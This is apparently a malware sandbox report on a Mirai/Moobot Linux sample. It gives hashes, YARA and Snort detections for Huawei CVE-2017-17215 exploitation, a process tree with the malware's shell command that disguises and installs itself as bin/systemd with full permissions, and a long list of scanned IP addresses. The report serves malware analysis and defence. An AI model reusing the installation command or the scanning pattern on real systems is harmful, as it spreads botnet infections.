Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
6lqMB7o2Ts.elf

Overview

General Information

Sample Name:6lqMB7o2Ts.elf
Original Sample Name:1f34c5bcd411c95d5bdff565afd27afd.elf
Analysis ID:830828
MD5:1f34c5bcd411c95d5bdff565afd27afd
SHA1:39a1f8fff95e7c4d693d0d3fbc2d49749f3ba395
SHA256:a9b25052579b7f41a1f985ed6d95f0eef2f00e8ad0e9a16dafad5ea38cb1b128
Tags:32elfmipsmirai
Infos:

Detection

Mirai, Moobot
Score:92
Range:0 - 100
Whitelisted:false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

All domains contacted by the sample do not resolve. The sample is likely an old dropper which does no longer work.
Static ELF header machine description suggests that the sample might not execute correctly on this machine.
All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:37.0.0 Beryl
Analysis ID:830828
Start date and time:2023-03-20 18:13:53 +01:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 52s
Hypervisor based Inspection enabled:false
Report type:light
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample file name:6lqMB7o2Ts.elf
Original Sample Name:1f34c5bcd411c95d5bdff565afd27afd.elf
Detection:MAL
Classification:mal92.troj.linELF@0/0@105/0

Warnings

  • Report size exceeded maximum capacity and may have missing network information.
  • TCP Packets have been reduced to 100

Runtime Messages

Command:/tmp/6lqMB7o2Ts.elf
PID:6230
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
^p
Standard Error:

Process Tree

  • system is lnxubuntu20
  • 6lqMB7o2Ts.elf (PID: 6230, Parent: 6125, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/6lqMB7o2Ts.elf
    • sh (PID: 6232, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/6lqMB7o2Ts.elf bin/systemd; chmod 777 bin/systemd"
      • sh New Fork (PID: 6234, Parent: 6232)
      • rm (PID: 6234, Parent: 6232, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd
      • sh New Fork (PID: 6235, Parent: 6232)
      • mkdir (PID: 6235, Parent: 6232, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin
      • sh New Fork (PID: 6236, Parent: 6232)
      • mv (PID: 6236, Parent: 6232, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/6lqMB7o2Ts.elf bin/systemd
      • sh New Fork (PID: 6237, Parent: 6232)
      • chmod (PID: 6237, Parent: 6232, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
NameDescriptionAttributionBlogpost URLsLink
MooBotNo Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
6lqMB7o2Ts.elfJoeSecurity_MoobotYara detected MoobotJoe Security
    6lqMB7o2Ts.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6lqMB7o2Ts.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x11d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11e98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11eac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11ec0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11ed4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11ee8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11efc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmpJoeSecurity_MoobotYara detected MoobotJoe Security
        6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
          • 0x11d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11e98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11eac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11ec0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11ed4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11ee8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          • 0x11efc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
          6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmpJoeSecurity_MoobotYara detected MoobotJoe Security
            6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              Click to see the 4 entries

              Snort Signatures

              Timestamp:192.168.2.23191.61.26.7952002372152835222 03/20/23-18:15:41.479492
              SID:2835222
              Source Port:52002
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.2341.239.25.9858734372152835222 03/20/23-18:16:18.194286
              SID:2835222
              Source Port:58734
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.2377.136.237.16045516372152835222 03/20/23-18:14:44.802279
              SID:2835222
              Source Port:45516
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.23103.54.44.13350306372152835222 03/20/23-18:15:01.586540
              SID:2835222
              Source Port:50306
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.23104.128.127.22846544372152835222 03/20/23-18:15:22.996810
              SID:2835222
              Source Port:46544
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.2341.238.196.11641076372152835222 03/20/23-18:14:59.321194
              SID:2835222
              Source Port:41076
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.2334.120.131.845438372152835222 03/20/23-18:15:29.072769
              SID:2835222
              Source Port:45438
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.2394.187.108.18555228372152835222 03/20/23-18:15:36.209617
              SID:2835222
              Source Port:55228
              Destination Port:37215
              Protocol:TCP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for submitted file
              Source: 6lqMB7o2Ts.elfReversingLabs: Detection: 58%
              Source: 6lqMB7o2Ts.elfVirustotal: Detection: 60%Perma Link

              Networking

              barindex
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45516 -> 77.136.237.160:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41076 -> 41.238.196.116:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50306 -> 103.54.44.133:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46544 -> 104.128.127.228:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45438 -> 34.120.131.8:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55228 -> 94.187.108.185:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52002 -> 191.61.26.79:37215
              Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58734 -> 41.239.25.98:37215
              Connects to many ports of the same IP (likely port scanning)
              Source: global trafficTCP traffic: 197.58.58.97 ports 1,2,3,5,7,37215
              Source: global trafficTCP traffic: 77.136.237.160 ports 1,2,3,5,7,37215
              Uses known network protocols on non-standard ports
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 41076 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 41076
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 46544 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45438 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 55228 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 58734 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 58734
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
              Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
              Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.177.188.105:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.59.173.161:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.84.173.102:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.172.201.119:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.88.124.244:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.234.113.162:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.240.223.204:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.159.13.122:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.187.14.3:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.109.52.196:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.28.198.60:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.48.46.102:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.213.200.22:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.108.205.143:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 148.94.3.83:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.37.53.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.156.162.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.205.17.4:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.173.117.4:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.35.113.47:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.18.245.29:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.91.82.148:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.249.225.91:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.38.65.127:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 153.6.146.12:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.165.42.202:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 221.4.37.244:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 207.233.206.196:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 76.155.143.172:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.85.67.18:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.222.143.196:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.115.11.233:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.60.205.239:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.100.148.206:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 62.145.68.134:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.228.77.157:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 180.9.6.101:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 61.98.120.1:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.20.252.229:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 38.159.96.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.227.185.30:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.0.84.190:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.177.127.55:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.88.204.252:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.95.151.221:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.149.105.154:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.89.253.13:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.25.121.167:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.6.247.30:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.33.174.150:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.85.159.199:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.74.67.240:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.101.97.14:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 72.105.46.194:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.181.81.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 90.189.98.38:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.47.217.188:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.53.85.60:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.79.9.215:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.231.20.205:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.200.222.12:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.237.79.227:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.221.78.232:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.70.163.165:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.173.1.78:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 39.11.52.215:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.208.122.69:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 60.244.169.67:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.175.165.248:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.222.26.180:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.170.213.152:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.157.122.250:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.252.111.132:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.193.188.233:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.49.20.65:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.221.204.112:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.66.25.180:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 38.94.45.213:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.218.37.131:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.27.94.129:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.40.41.133:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.45.140.191:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 201.102.113.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.4.146.200:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.233.163.132:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.181.83.105:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.170.166.174:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.84.230.108:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.131.241.193:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.76.57.13:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.178.19.72:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.216.63.67:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.157.223.144:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.213.69.195:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.37.128.221:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.196.110.94:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.16.173.74:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.203.63.11:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.187.144.11:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.33.111.40:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.74.23.111:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 146.238.227.27:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.176.94.235:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 86.155.94.81:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.175.181.215:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.173.71.251:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 198.15.1.201:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.153.241.212:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.89.244.139:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 67.252.98.100:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.125.243.20:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.45.54.208:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.232.199.81:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.65.189.176:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.130.203.61:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 168.56.211.65:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.117.93.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 5.135.215.213:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.121.244.152:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 159.143.125.74:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.218.239.134:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.76.40.1:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.161.136.224:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 93.5.212.115:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.112.162.222:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 39.101.148.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.131.164.178:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 208.207.242.174:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.202.81.56:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.10.30.139:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.69.69.9:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.35.209.190:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.51.146.28:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.91.8.203:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.98.167.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.146.12.1:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.230.148.58:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.164.224.120:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 210.25.222.64:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 207.145.133.155:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 165.171.226.227:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.29.121.238:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 157.163.79.24:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 197.99.234.240:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 201.78.150.25:37215
              Source: global trafficTCP traffic: 192.168.2.23:36142 -> 41.215.20.118:37215
